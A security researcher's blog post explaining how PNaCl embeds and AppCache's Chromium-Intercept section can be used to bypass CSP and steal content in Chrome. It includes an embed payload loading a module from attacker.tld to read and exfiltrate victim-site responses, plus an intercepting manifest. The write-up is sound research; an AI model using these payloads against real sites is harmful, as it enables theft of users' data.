- PNaCl
- Chromium-Intercept
Those 2 features are old enough that they might die any time soon. So I thought it's a good idea to let them shine before they die :)
PNaCl
Portable Native Client is an older brother of WebAssembly. Basically you can run your C/C++ code on a web page using PNaCl. Pepper API provides useful classes that can be used in PNaCl. One of the interesting class is a URLLoader class (and related URLRequestInfo and URLResponseInfo classes).
Basically you can send a request to same-origin URL and read a response (for cross-origin requests, CORS comes in). But same-origin to what? to the embedder.
Let's say you have HTML injection in https://vicitm.tld, but you can't make that into XSS because CSP: script-src isn't bypassable. With PNaCl, you can do:
<embed src="https://attacker.tld/url_loader.nmf" type="application/x-pnacl">
And you can now make requests to anywhere in https://vicitm.tld, read response, and send that content back to your origin :)
Here's a PoC. See following for more details:
Unfortunately, PNaCl is about to die. Starting from Chrome 76, you'll need to have an Origin Trial token before body tag of the page to use PNaCl. But thanks to Eduardo's idea, you can actually use iframe's srcdoc to have the token inside head tag (assuming that CSP frame-src is set to 'self'). Since anyone can issue an Origin Trial token for any site, PNaCl can shine till the end :)
Here's a PoC with Origin Trial token.
I think this explains well about why CSP: object-src needs to be 'none'.
PS: If you use Chromium-based Edge, PNaCl isn't supported so you should be safe :)
Chromium-Intercept
Chromium-Intercept is a special section in AppCache that's only supported in Chrome (and possibly Chromium-based browsers). AppCache is used for serving contents offline or during error. So usually you are only allowed to intercept requests when response code is a error code (i.e. 4xx). But Chromium-Intercept will allow you to intercept the request even if response is not an error code.
CHROMIUM CACHE MANIFEST
CACHE:
NETWORK:
FALLBACK:
CHROMIUM-INTERCEPT:
/ return /fallback.html
But there's a requirement that AppCache manifest's MIME type has to be "text/cache-manifest" in order to use Chromium-Intercept.
AppCache is really great for exploiting sandbox domains. This has been discussed in detail by @filedescriptor and @fransrosen so you should take a look.
But I want to call out one thing. You can still intercept requests from different directory within same-origin in Chrome (which was explain as fixed in this slide). It's just that Chrome now requires AppCache manifest's MIME type to be "text/cache-manifest" (again) in order to intercept requests from different directory.
This has been patched by https://www.chromestatus.com/feature/5125554036539392
As you can see, Chromium-Intercept is great for stealing contents on the fly, which maybe required when contents are served only with user's cookie. I was able to use this technique against some Google services (and I got $5k x 2).
Hope you enjoyed the post :)
0 件のコメント:
コメントを投稿